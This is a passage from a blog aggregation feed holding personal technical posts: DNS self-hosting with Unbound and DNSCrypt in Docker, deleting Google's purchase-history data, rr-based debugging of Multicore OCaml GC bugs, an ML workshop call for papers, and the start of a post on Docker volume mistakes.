<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> 6363 is where I have configured my Unbound server to listen</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dig</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);"> @127.0.0.1</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6363</span></span></code></pre>
<p>Pi-hole official docs have a <a rel="external" href="https://docs.pi-hole.net/guides/unbound/">great</a> explainer on how to configure Unbound with Pi-hole so I won’t be repeating the steps here again.</p>
<p>You can configure Pi-hole to forward accepted DNS queries from port <code>53</code> (standard) to <code>127.0.0.1#6363</code> (unbound).</p>
<p><img src="https://mrkaran.dev/images/pihole-dns.png" alt="PiHole DNS" title="PiHole DNS" /></p>
<h2 id="the-endgame">The Endgame<a class="zola-anchor" href="#the-endgame" aria-label="Anchor link for: the-endgame">#</a></h2>
<p>I plan to self-host a couple of more things. DNS is something I am really interested in and in future I plan to host my own DNScrypt server <em>soon-ish</em>.</p>
<p>I believe if you <em>own</em> your data you’re in better control of your digital identity. Watching too much of Black Mirror added to the paranoia to an extent, I suppose! I grew up in the late nineties and I’ve seen the internet primarily as a set of the decentralized toolchain. There’s no reason we should let go any of that to the hands of a few corp giants and make it centralized.</p>
<p>Ending this long-ish post by a beautiful quote:</p>
<blockquote>
<p>Study after study has shown that human behaviour changes when we know we’re being watched. Under observation, we act less free, which means we effectively <em>are</em> less free.
― Edward Snowden</p>
</blockquote>
<p>Cheers! :)</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Cleaning up Google Purchases]]></title>
            <link>https://captnemo.in/blog/2019/06/01/cleaning-google-purchases/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/06/01/cleaning-google-purchases/</guid>
            <pubDate>Sat, 01 Jun 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[The Google Purchase History feature has been doing rounds in the news recently. In case you missed it, go to https://myaccount.google.com/purchases right now and make sure you are logged in with your personal gmail account to see what all Google thinks you’ve bought.
For me it lists purchases going as far back as 2013, which include:
All of my Amazon Purchases (including Kindle and Audible)
Flipkart/Sneapdeal purchases
Gifts I’ve bought for others on various platforms
All my iCloud purchases
Purchases on Steam
BigBasket purchases
Google Playstore purchases as well, of course
And much, much more.
For each of the purchases, it remembers the price, the taxes, as well as the delivery address used.
While this isn’t shocking in the least, I was surprised, because as a Infosec professional, I’ve disabled all of google’s invasive tracking features:
All my Activity Controls are paused.
Google Location history is disabled for my account.
I have Shared endorsements turned off.
Ad personalization is turned off.
I used to run with the Protect my Choices extension till a while back to avoid targeted advertising.
Regardless, the Google purchases page had hundreds of results, going back half a decade. Google currently does not offer a way to delete collected purchases directly, or to pause this collection in any way. The only way is to find the emails that Google scanned, and delete them.
I ended up deleting everything from the following email addresses:

auto-confirm@amazon.com
auto-confirm@amazon.in
cs@flipkart.com
digital-no-reply@amazon.com
do_not_reply@audible.com
do_not_reply@gog.comorders@services.target.com
ebay@ebay.in
googleplay-noreply@google.com
help@stickermule.com
mail@info.fabfurnish.com
no-reply@flipkart.com
no-reply@paytm.com
no_reply@email.apple.com
noreply@flipkart.com
noreply@pizzahut.co.in
noreply@snapdeals.co.in
noreply@steampowered.com
notification@wish.com
order-update@amazon.in
orders@services.target.com
payments-messages@amazon.in
return@amazon.in
ship-confirm@amazon.com
ship-confirm@amazon.in
shipment-tracking@amazon.com
shipment-tracking@amazon.in
updates@myntra.com


Note that deleting the email doesn’t seem to be sufficient either, you need to clear your Trash, and then wait for a while (almost 2 days for me) before the system refreshes. After 3 days of just deleting mails, I finally got this screen:

Google seems to be picking up all kinds of emails, including:
Invoices
Shipment Confirmations / Updates
Return confirmations
Payment Confirmations
Order Cancellations
Payment Failures (gasp!)
Warning about Deletions
I’ve already switched away from Amazon/Flipkart emails from my Gmail. But deleting invoices from your inbox isn’t always the best idea. Most websites will let you re-download invoices (Amazon/Flipkart do), but take care not to delete any necessary emails that you might need for warranty claims or any other purpose later.]]></description>
            <content:encoded><![CDATA[<p>The <a href="https://www.cnbc.com/2019/05/17/google-gmail-tracks-purchase-history-how-to-delete-it.html">Google Purchase History</a> feature has been doing rounds in the news recently. In case you missed it, go to <a href="https://myaccount.google.com/purchases">https://myaccount.google.com/purchases</a> right now and make sure you are logged in with your personal gmail account to see what all Google thinks you’ve bought.</p>

<p>For me it lists purchases going as far back as 2013, which include:</p>

<ol>
  <li>All of my Amazon Purchases (including Kindle and Audible)</li>
  <li>Flipkart/Sneapdeal purchases</li>
  <li>Gifts I’ve bought for others on various platforms</li>
  <li>All my iCloud purchases</li>
  <li>Purchases on Steam</li>
  <li>BigBasket purchases</li>
  <li>Google Playstore purchases as well, of course</li>
  <li>And much, much more.</li>
</ol>

<p>For each of the purchases, it remembers the price, the taxes, as well as the delivery address used.</p>

<p>While this isn’t shocking in the least, I was surprised, because as a Infosec professional, I’ve disabled all of google’s invasive tracking features:</p>

<ol>
  <li>All my Activity Controls are paused.</li>
  <li>Google Location history is disabled for my account.</li>
  <li>I have <a href="https://myaccount.google.com/shared-endorsements">Shared endorsements</a> turned off.</li>
  <li>Ad personalization is turned off.</li>
  <li>I used to run with the <a href="https://addons.mozilla.org/en-US/firefox/addon/protect-my-choices/">Protect my Choices</a> extension till a while back to avoid targeted advertising.</li>
</ol>

<p>Regardless, the Google purchases page had hundreds of results, going back half a decade. Google currently does not offer a way to delete collected purchases directly, or to pause this collection in any way. The only way is to find the emails that Google scanned, and delete them.</p>

<p>I ended up deleting everything from the following email addresses:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auto-confirm@amazon.com
auto-confirm@amazon.in
cs@flipkart.com
digital-no-reply@amazon.com
do_not_reply@audible.com
do_not_reply@gog.comorders@services.target.com
ebay@ebay.in
googleplay-noreply@google.com
help@stickermule.com
mail@info.fabfurnish.com
no-reply@flipkart.com
no-reply@paytm.com
no_reply@email.apple.com
noreply@flipkart.com
noreply@pizzahut.co.in
noreply@snapdeals.co.in
noreply@steampowered.com
notification@wish.com
order-update@amazon.in
orders@services.target.com
payments-messages@amazon.in
return@amazon.in
ship-confirm@amazon.com
ship-confirm@amazon.in
shipment-tracking@amazon.com
shipment-tracking@amazon.in
updates@myntra.com
</code></pre></div></div>

<p>Note that deleting the email doesn’t seem to be sufficient either, you need to clear your Trash, and then wait for a while (almost 2 days for me) before the system refreshes. After 3 days of just deleting mails, I finally got this screen:</p>

<p><img src="https://captnemo.in/img/google-purchases.png" alt="screenshot of google purchases dashboard showing &quot;You don't have any purchases&quot;" /></p>

<p>Google seems to be picking up <em>all kinds of emails, including</em>:</p>

<ol>
  <li>Invoices</li>
  <li>Shipment Confirmations / Updates</li>
  <li>Return confirmations</li>
  <li>Payment Confirmations</li>
  <li>Order Cancellations</li>
  <li>Payment Failures (gasp!)</li>
</ol>

<h2 id="warning-about-deletions">Warning about Deletions</h2>

<p>I’ve already switched away from Amazon/Flipkart emails from my Gmail. But deleting invoices from your inbox isn’t always the best idea. Most websites will let you re-download invoices (Amazon/Flipkart do), but take care not to delete any necessary emails that you might need for warranty claims or any other purpose later.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Migrating DNSCrypt Server to Docker]]></title>
            <link>https://captnemo.in/blog/2019/05/18/dnscrypt-migrating-to-docker/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/05/18/dnscrypt-migrating-to-docker/</guid>
            <pubDate>Sat, 18 May 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[I’ve been running a personal DNSCrypt server in Bangalore for the last 2 years. When I set it up, it was just a compiled version of dnscrypt-wrapper, which was the bare minimum setup I could do.
Since then, I’ve upgraded it to a distribution supported version, but recent changes in dnscrypt key rotation, I’ve been wanting to setup something automated as well.
The easiest way was to switch to the official DNSCrypt Docker image, which does both key generation and certificate rotation. Since my public key was already present in the DNSCrypt Server lists, I was not too keen to regenerate a new key.
The primary challenge was ensuring that the docker container picks up my existing keys without trying to generate new ones from scratch. It was basically 2 steps:
Match the directory structure that the container expects.
Invoke the container directly into start mode while passing existing keys.
Directory Structure
I copied my keys (public.key, secret.key) to /etc/dnscrypt-keys and ran the following:

echo 2.dnscrypt-cert.captnemo.in > provider_name
touch provider_info.txt # I couldn't figure out how to output the same info, so kept it blank
hexdump -ve '1/1 "%.2x"' < public.key > public.key.txt


Then I ensured that the file permissions are matching what the container expects:

chmod 640 secret.key
chmod 644 public.key
chown root:1002 public.key secret.key
chmod 644 provider_name


This is how the final permissions looked for the directory (/etc/dnscrypt-keys)

-rw-r-----   1 root 1002    64 May 18 07:15 secret.key
-rw-r--r--   1 root 1002    32 May 18 07:15 public.key
-rw-r--r--   1 root root    28 May 18 07:19 provider_name
-rw-r--r--   1 root root     0 May 18 07:23 provider_info.txt
-rw-r--r--   1 root root    64 May 18 07:25 public.key.txt
drwxr-xr-x   2 root root  4096 May 18 07:26 .


Running the Container
Then, I directly ran dnscrypt-wrapper container:

docker run --detatched --restart=unless-stopped --volume /etc/dnscrypt-keys:/opt/dnscrypt-wrapper/etc/keys --publish 10.47.0.5:4434:443/tcp --publish 10.47.0.5:4434:443/udp jedisct1/dnscrypt-server start


I pass a host path mount instead of creating a Docker Volume, since they can get deleted in regular docker prune.
Here, 10.47.0.5 is the “Anchor IP”, which Digital Ocean internally maps to my Floating IP.
The container comes up, generates new short-term keys and goes live:

Starting DNSCrypt service for provider:
2.dnscrypt-cert.captnemo.in
Starting pre-service scripts in /etc/runit_init.d
setup in directory /opt/unbound/etc/unbound
generating unbound_server.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.......++++
...................++++
e is 65537 (0x010001)
generating unbound_control.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.........................++++
........................................++++
e is 65537 (0x010001)
create unbound_server.pem (self signed certificate)
create unbound_control.pem (signed client certificate)
Signature ok
subject=CN = unbound-control
Getting CA Private Key
Setup success. Certificates created. Enable in unbound.conf file to use
ok: run: unbound: (pid 28) 300s
ok: run: dnscrypt-wrapper: (pid 31) 300s
ok: run: unbound: (pid 28) 600s
ok: run: dnscrypt-wrapper: (pid 31) 600s


Once the server was up, I verified connectivity with dnscrypt-proxy and it worked perfectly.
Future Scope
Right now, I have a single container that does 2 things:
Certificate Rotation via a service that checks it every 30 minutes.
DNSCrypt Service, which is accessible over the internet.
For (1) to work, it needs access to the Private Keys that are used to sign the temporary certificates that last 24 hours. Since both things are managed within the same container, the container ends up with both network and long-term keys access. This means, any RCE on the service can result in the long-term keys being compromised.
A simple fix for this would be to separate out the Certificate Rotation part into a separate “mode” on the Docker Image, which can be called independently. This would allow someone to run certificate rotation on a second container using a scheduler, but with far more limitations (such as no network access). A common file-mount between both the containers can take care of sharing the temporary keys between the containers, and a simple unix socket on the shared-file-mount can be used to signal a certificate rotation (this triggers the dnscrypt service restart, so it picks the new cert).]]></description>
            <content:encoded><![CDATA[<p>I’ve been running a personal <a href="https://captnemo.in/dnscrypt/">DNSCrypt server in Bangalore</a> for the last 2 years. When I set it up, it was just a compiled version of <code class="language-plaintext highlighter-rouge">dnscrypt-wrapper</code>, which was the bare minimum setup I could do.</p>

<p>Since then, I’ve upgraded it to a distribution supported version, but recent changes in <a href="https://dnscrypt.pl/2017/01/04/keys-are-now-rotated-every-24-hours/">dnscrypt key rotation</a>, I’ve been wanting to setup something automated as well.</p>

<p>The easiest way was to switch to the official <a href="https://github.com/DNSCrypt/dnscrypt-server-docker">DNSCrypt Docker</a> image, which does both key generation and certificate rotation. Since my public key was already present in the <a href="https://dnscrypt.info/public-servers">DNSCrypt Server lists</a>, I was not too keen to regenerate a new key.</p>

<p>The primary challenge was ensuring that the docker container picks up my existing keys without trying to generate new ones from scratch. It was basically 2 steps:</p>

<ol>
  <li>Match the directory structure that the container expects.</li>
  <li>Invoke the container directly into <code class="language-plaintext highlighter-rouge">start</code> mode while passing existing keys.</li>
</ol>

<h2 id="directory-structure">Directory Structure</h2>

<p>I copied my keys (<code class="language-plaintext highlighter-rouge">public.key</code>, <code class="language-plaintext highlighter-rouge">secret.key</code>) to <code class="language-plaintext highlighter-rouge">/etc/dnscrypt-keys</code> and ran the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo 2.dnscrypt-cert.captnemo.in &gt; provider_name
touch provider_info.txt # I couldn't figure out how to output the same info, so kept it blank
hexdump -ve '1/1 "%.2x"' &lt; public.key &gt; public.key.txt
</code></pre></div></div>

<p>Then I ensured that the file permissions are matching what the container expects:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod 640 secret.key
chmod 644 public.key
chown root:1002 public.key secret.key
chmod 644 provider_name
</code></pre></div></div>

<p>This is how the final permissions looked for the directory (<code class="language-plaintext highlighter-rouge">/etc/dnscrypt-keys</code>)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rw-r-----   1 root 1002    64 May 18 07:15 secret.key
-rw-r--r--   1 root 1002    32 May 18 07:15 public.key
-rw-r--r--   1 root root    28 May 18 07:19 provider_name
-rw-r--r--   1 root root     0 May 18 07:23 provider_info.txt
-rw-r--r--   1 root root    64 May 18 07:25 public.key.txt
drwxr-xr-x   2 root root  4096 May 18 07:26 .
</code></pre></div></div>

<h2 id="running-the-container">Running the Container</h2>

<p>Then, I directly ran <code class="language-plaintext highlighter-rouge">dnscrypt-wrapper</code> container:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run --detatched --restart=unless-stopped --volume /etc/dnscrypt-keys:/opt/dnscrypt-wrapper/etc/keys --publish 10.47.0.5:4434:443/tcp --publish 10.47.0.5:4434:443/udp jedisct1/dnscrypt-server start
</code></pre></div></div>

<p>I pass a host path mount instead of creating a Docker Volume, since they can get deleted in regular <code class="language-plaintext highlighter-rouge">docker prune</code>.</p>

<p>Here, <code class="language-plaintext highlighter-rouge">10.47.0.5</code> is the <a href="https://www.digitalocean.com/docs/networking/floating-ips/how-to/find-anchor-ips/">“Anchor IP”</a>, which Digital Ocean internally maps to my <a href="https://www.digitalocean.com/docs/networking/floating-ips/">Floating IP</a>.</p>

<p>The container comes up, generates new short-term keys and goes live:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting DNSCrypt service for provider:
2.dnscrypt-cert.captnemo.in
Starting pre-service scripts in /etc/runit_init.d
setup in directory /opt/unbound/etc/unbound
generating unbound_server.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.......++++
...................++++
e is 65537 (0x010001)
generating unbound_control.key
Generating RSA private key, 3072 bit long modulus (2 primes)
.........................++++
........................................++++
e is 65537 (0x010001)
create unbound_server.pem (self signed certificate)
create unbound_control.pem (signed client certificate)
Signature ok
subject=CN = unbound-control
Getting CA Private Key
Setup success. Certificates created. Enable in unbound.conf file to use
ok: run: unbound: (pid 28) 300s
ok: run: dnscrypt-wrapper: (pid 31) 300s
ok: run: unbound: (pid 28) 600s
ok: run: dnscrypt-wrapper: (pid 31) 600s
</code></pre></div></div>

<p>Once the server was up, I verified connectivity with <code class="language-plaintext highlighter-rouge">dnscrypt-proxy</code> and it worked perfectly.</p>

<h2 id="future-scope">Future Scope</h2>

<p>Right now, I have a single container that does 2 things:</p>

<ol>
  <li><a href="https://github.com/DNSCrypt/dnscrypt-server-docker/blob/1f42134a69ade6026f07c463f6a497ae12cff3f4/key-rotation.sh#L3">Certificate Rotation</a> via a service that checks it every 30 minutes.</li>
  <li>DNSCrypt Service, which is accessible over the internet.</li>
</ol>

<p>For (1) to work, it needs access to the Private Keys that are used to sign the temporary certificates that last 24 hours. Since both things are managed within the same container, the container ends up with both network <em>and</em> long-term keys access. This means, any RCE on the service can result in the long-term keys being compromised.</p>

<p>A simple fix for this would be to separate out the Certificate Rotation part into a separate “mode” on the Docker Image, which can be called independently. This would allow someone to run certificate rotation on a second container using a scheduler, but with far more limitations (such as no network access). A common file-mount between both the containers can take care of sharing the temporary keys between the containers, and a simple unix socket on the shared-file-mount can be used to signal a certificate rotation (this triggers the dnscrypt service restart, so it picks the new cert).</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Deterministically debugging concurrent GC bugs with rr]]></title>
            <link>https://kcsrk.info/ocaml/multicore/rr/2019/04/28/0000-rr-debugging/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/multicore/rr/2019/04/28/0000-rr-debugging/</guid>
            <pubDate>Sun, 28 Apr 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Multicore OCaml comes with
a concurrent garbage
collector, where
the garbage collector and the mutator threads run concurrently. Debugging
concurrent GC bugs has been the most frustrating / satisfying (when fixed) part
of Multicore OCaml development. rr, a record and
replay tool has made debugging concurrent GC bugs a sustainable exercise. In
this short post, I’ll describe why.
A particularly tricky concurrent GC bug is one which occurs once every 10 to 100
runs due to non-determinism and any attempt to instrument the program to isolate
the bug (simplifying the program, adding print statements, etc.) makes it
disappear. The bug may only appear relatively late in the program run – after a
few major GC cycles, where the program might have allocated 10s of gigabytes of
memory by then. The bug usually manifests as a segfault due to illegal memory
access, but the source of the bug may lie in the previous GC cycle and perhaps
due to actions of a different thread than the one that is throwing up the error.
gdb often doesn’t help since finding the illegal memory access may not give
any clue as to when the heap was corrupted.
rr to the rescue. rr is an enhancement over gdb with support for recording
an execution and debugging in reverse. Once a failing execution is recorded,
the execution can be replayed multiple times deterministically. This removes the
non-determinism from debugging session. gdb does support record and replay,
but not on multi-threaded targets.
The fact that the program can be run in reverse is the key for debugging heap
corruptions. An illegal access typically appears as a load or store to a illegal
memory address obtained from a heap object. When such an illegal access is
found, I set a hardware watchpoint on the heap address containing the illegal
address and continue the program in reverse. rr runs the program in reverse until
the write that stored the illegal address in the heap object! Usually, several
transitive reverse runs are necessary to get to the source of the bug, but this
is just mechanics.
While rr supports multi-threaded programs, it runs every thread on the same
core. This usually makes the bug disappear. Luckily, rr comes with support for
forcing a context switch after a certain number of CPU ticks (measured in terms
of the number of retired conditional branches). Even with this option, you will
need many runs before rr comes across a buggy execution. So I use the
following command:

for i in {1..10000}; do rr record -c 10000 <program> <args>; if (( $? == 0 )); then echo "done $i"; else break; fi; done


which runs <prog> <args> under rr where a thread is allowed to execute for a
maximum of 10,000 ticks before a context switch. rr runs are repeated until a
crash is found or 10,000 rr runs are successfully completed. Depending on the
program being debugged, I leave it running overnight. If rr had in fact found
a crash, I can perform replay debugging with rr replay the following morning
and have a deterministic and reversible recorded execution to work with.
rr has save countless hours in the development of Multicore OCaml, and rr
should be a essential tool in every GC hacker’s toolbox.]]></description>
            <content:encoded><![CDATA[<p><a href="https://github.com/ocaml-multicore/ocaml-multicore">Multicore OCaml</a> comes with
a <a href="http://kcsrk.info/multicore/gc/2017/07/06/multicore-ocaml-gc/">concurrent garbage
collector</a>, where
the garbage collector and the mutator threads run concurrently. Debugging
concurrent GC bugs has been the most frustrating / satisfying (when fixed) part
of Multicore OCaml development. <a href="https://rr-project.org/">rr</a>, a record and
replay tool has made debugging concurrent GC bugs a sustainable exercise. In
this short post, I’ll describe why.</p>

<!--more-->

<p>A particularly tricky concurrent GC bug is one which occurs once every 10 to 100
runs due to non-determinism and any attempt to instrument the program to isolate
the bug (simplifying the program, adding print statements, etc.) makes it
disappear. The bug may only appear relatively late in the program run – after a
few major GC cycles, where the program might have allocated 10s of gigabytes of
memory by then. The bug usually manifests as a segfault due to illegal memory
access, but the source of the bug may lie in the previous GC cycle and perhaps
due to actions of a different thread than the one that is throwing up the error.
<code class="language-plaintext highlighter-rouge">gdb</code> often doesn’t help since finding the illegal memory access may not give
any clue as to <em>when</em> the heap was corrupted.</p>

<p><code class="language-plaintext highlighter-rouge">rr</code> to the rescue. <code class="language-plaintext highlighter-rouge">rr</code> is an enhancement over <code class="language-plaintext highlighter-rouge">gdb</code> with support for recording
an execution and debugging in <em>reverse</em>. Once a failing execution is recorded,
the execution can be replayed multiple times deterministically. This removes the
non-determinism from debugging session. <code class="language-plaintext highlighter-rouge">gdb</code> does support record and replay,
but not on multi-threaded targets.</p>

<p>The fact that the program can be run in reverse is the key for debugging heap
corruptions. An illegal access typically appears as a load or store to a illegal
memory address obtained from a heap object. When such an illegal access is
found, I set a hardware watchpoint on the heap address containing the illegal
address and continue the program in reverse. <code class="language-plaintext highlighter-rouge">rr</code> runs the program in reverse until
the write that stored the illegal address in the heap object! Usually, several
transitive reverse runs are necessary to get to the source of the bug, but this
is just mechanics.</p>

<p>While <code class="language-plaintext highlighter-rouge">rr</code> supports multi-threaded programs, it runs every thread on the same
core. This usually makes the bug disappear. Luckily, <code class="language-plaintext highlighter-rouge">rr</code> comes with support for
forcing a context switch after a certain number of CPU ticks (measured in terms
of the number of retired conditional branches). Even with this option, you will
need many runs before <code class="language-plaintext highlighter-rouge">rr</code> comes across a buggy execution. So I use the
following command:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for i in {1..10000}; do rr record -c 10000 &lt;program&gt; &lt;args&gt;; if (( $? == 0 )); then echo "done $i"; else break; fi; done
</code></pre></div></div>

<p>which runs <code class="language-plaintext highlighter-rouge">&lt;prog&gt; &lt;args&gt;</code> under <code class="language-plaintext highlighter-rouge">rr</code> where a thread is allowed to execute for a
maximum of 10,000 ticks before a context switch. <code class="language-plaintext highlighter-rouge">rr</code> runs are repeated until a
crash is found or 10,000 <code class="language-plaintext highlighter-rouge">rr</code> runs are successfully completed. Depending on the
program being debugged, I leave it running overnight. If <code class="language-plaintext highlighter-rouge">rr</code> had in fact found
a crash, I can perform replay debugging with <code class="language-plaintext highlighter-rouge">rr replay</code> the following morning
and have a deterministic and reversible recorded execution to work with.</p>

<p><code class="language-plaintext highlighter-rouge">rr</code> has save countless hours in the development of Multicore OCaml, and <code class="language-plaintext highlighter-rouge">rr</code>
should be a essential tool in every GC hacker’s toolbox.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[ML Family Workshop 2019: Call for presentations]]></title>
            <link>https://kcsrk.info/ocaml/haskell/standard%20ml/f%23/2019/04/22/1600-ml-workshop-2019/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/haskell/standard%20ml/f%23/2019/04/22/1600-ml-workshop-2019/</guid>
            <pubDate>Mon, 22 Apr 2019 16:00:00 GMT</pubDate>
            <description><![CDATA[I am chairing the PC for ML family workshop this year. The PC is happy to invite
submissions for the workshop to be held during the ICFP conference week on
Thursday 22nd August 2019.
ML family workshop invites submissions touching on the programming languages
traditionally seen as part of the “ML family”. However, we are also keen to
receive submissions from other related language groups. If you have questions
about the suitability of your work for the workshop, please feel free to write
an email.
The detailed CFP is available on the ICFP website:
https://icfp19.sigplan.org/home/mlfamilyworkshop-2019#Call-for-Presentations
Important dates
Thu 16 May 2019 – (AoE)Submission deadline
Sun 30 Jun 2019 – Author Notification
Thu 22 Aug 2019 – ML Family Workshop
Program Committee
Aggelos Biboudis – EPFL, Switzerland
Andreas Rossberg – Dfinity, Germany
Atsushi Igarashi – Kyoto University, Japan
Avik Chaudhuri – Facebook, USA
Cyrus Omar – University of Chicago, USA
David Allsopp – University of Cambridge, UK
Edwin Brady – University of St. Andrews, UK
Jacques-Henri Jourdan – CNRS, LRI, Université Paris-Sud, France
KC Sivaramakrishnan – IIT Madras, India
Lars Bergstrom – Mozilla Research, USA
Matthew Fluet – Rochester Institute of Technology, USA
Zoe Paraskevopoulou – Princeton University, USA
Submission details
We seek extended abstracts, up to 3 pages long. Submissions must be uploaded to
the workshop submission website:
https://icfp19mlworkshop.hotcrp.com/]]></description>
            <content:encoded><![CDATA[<p>I am chairing the PC for ML family workshop this year. The PC is happy to invite
submissions for the workshop to be held during the ICFP conference week on
Thursday 22nd August 2019.</p>

<p>ML family workshop invites submissions touching on the programming languages
traditionally seen as part of the “ML family”. However, we are also keen to
receive submissions from other related language groups. If you have questions
about the suitability of your work for the workshop, please feel free to write
an email.</p>

<!--more-->

<p>The detailed CFP is available on the ICFP website:</p>

<p><a href="https://icfp19.sigplan.org/home/mlfamilyworkshop-2019#Call-for-Presentations">https://icfp19.sigplan.org/home/mlfamilyworkshop-2019#Call-for-Presentations</a></p>

<h2 id="important-dates">Important dates</h2>

<ul>
  <li>Thu 16 May 2019 – (AoE)Submission deadline</li>
  <li>Sun 30 Jun 2019 – Author Notification</li>
  <li>Thu 22 Aug 2019 – ML Family Workshop</li>
</ul>

<h2 id="program-committee">Program Committee</h2>

<ul>
  <li>Aggelos Biboudis – EPFL, Switzerland</li>
  <li>Andreas Rossberg – Dfinity, Germany</li>
  <li>Atsushi Igarashi – Kyoto University, Japan</li>
  <li>Avik Chaudhuri – Facebook, USA</li>
  <li>Cyrus Omar – University of Chicago, USA</li>
  <li>David Allsopp – University of Cambridge, UK</li>
  <li>Edwin Brady – University of St. Andrews, UK</li>
  <li>Jacques-Henri Jourdan – CNRS, LRI, Université Paris-Sud, France</li>
  <li>KC Sivaramakrishnan – IIT Madras, India</li>
  <li>Lars Bergstrom – Mozilla Research, USA</li>
  <li>Matthew Fluet – Rochester Institute of Technology, USA</li>
  <li>Zoe Paraskevopoulou – Princeton University, USA</li>
</ul>

<h2 id="submission-details">Submission details</h2>

<p>We seek extended abstracts, up to 3 pages long. Submissions must be uploaded to
the workshop submission website:</p>

<p><a href="https://icfp19mlworkshop.hotcrp.com/">https://icfp19mlworkshop.hotcrp.com/</a></p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Common Docker Mistakes - Episode 1]]></title>
            <link>https://mrkaran.dev/posts/docker-mistakes-1/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/docker-mistakes-1/</guid>
            <pubDate>Mon, 15 Apr 2019 05:27:55 GMT</pubDate>
            <description><![CDATA[So, off late, I’ve been dabbling a lot with Docker to explore the world of containerization (too late to the party, eh?). I plan to write about some common docker gotchas. The plan is to document these learnings so they might help someone getting started with docker and also serve as a reference for myself in the future. Let me be clear, if you read the docs you will find the exact same information and there’s nothing new that I have discovered. It took me some time to get around the following issues and I believe some of you might be struggling with the same. I just feel when you’re starting out with completely new technology, things quickly can become overwhelming and it’s A-OK to feel so. The important part is to not get intimidated by it and focus on learning the basics. Different pieces start coming together and there you have a solved puzzle :)
The mysterious case of bind mounts and volumes#
Ah! Storage. It’s always not a rosy scenario whenever someone mentions storage and containers in the same sentence. Anyway, so I had this requirement where I needed 2 containers to share data. Either of the containers could modify this data, so it made for a strong use case for volumes. But for some strange reason, I decided to use bind mounts. My thought process was that I’ll bind the mount path of the host to container and both of them could share the data.
Now, I know, I know all the docker veterans already facepalming so hard, but in case anyone new to docker is reading it, it works the exact way I described. The host path will be mounted ON the container, so if your host path is empty, so will your container be. It took me quite some time to figure this out because of the side effect of it. I had this line in my docker-compose:
volumes:
  - type: bind
    source: /etc/custom/data
    target: /
As you can guess, I am mounting an empty folder etc/custom/data on the root directory of the container /. This was an nginx container and I got the weird error that nginx executable isn’t found. It became clear that I have obviously done something wrong. After reading the documentation, it became clear that I had to use something like Named Volumes and use the same volume label for both the containers. Here’s the correct docker compose example (I have removed the unnecessary fluff and only included the volumes part):
  nginx:
    volumes:
      - type: volume
        source: assets-vol
        target: /usr/share/nginx/frontend
  frontend:
    volumes:
      - type: volume
        source: assets-vol
        target: /frontend/dist

volumes:
  assets-vol:
assets-vol is a named volume and can be managed using docker API.
CMD vs RUN#
Now, this is particularly interesting. So I have a volume mount as shown in the previous example, and quite naively I am copying some files from container 1 to container 2 at build stage. I get the error that this path doesn’t exist. I am seriously reconsidering my life decisions right now.
RUN cp /frontend/dist /usr/share/nginx/frontend
And then it became apparent that the volume is only mounted while the container is running, not when it is building. So I had to use CMD.
CMD cp /frontend/dist /usr/share/nginx/frontend
Why RUN doesn’t work and CMD works, you might ask? This is because that’s how docker volumes are in nature. They bypass the unionFS (which is used to build docker images). UnionFS chain together a layer of images and build new images on top. Whenever you run a container from an image, a new layer is created for the container process. If you specify a path as a volume, this path doesn’t get committed to the container data layer and is bypassed. So, TL;DR, volumes are really only accessible when the container is running and you can’t access them while building.
Epilogue#
I plan to share more such silly mistakes of mine while exploring more of Docker (and hopefully running production workloads on it soon!). It really is fun though, believe me :)]]></description>
            <content:encoded><![CDATA[<p>So, off late, I’ve been dabbling a lot with Docker to explore the world of containerization (too late to the party, eh?). I plan to write about some common docker gotchas. The plan is to document these learnings so they might help someone getting started with docker and also serve as a reference for myself in the future. Let me be clear, if you read the docs you will find the exact same information and there’s nothing new that I have discovered. It took me some time to get around the following issues and I believe some of you might be struggling with the same. I just feel when you’re starting out with completely new technology, things quickly can become overwhelming and it’s A-OK to feel so. The important part is to not get intimidated by it and focus on learning the basics. Different pieces start coming together and there you have a solved puzzle :)</p>
<h2 id="the-mysterious-case-of-bind-mounts-and-volumes">The mysterious case of bind mounts and volumes<a class="zola-anchor" href="#the-mysterious-case-of-bind-mounts-and-volumes" aria-label="Anchor link for: the-mysterious-case-of-bind-mounts-and-volumes">#</a></h2>
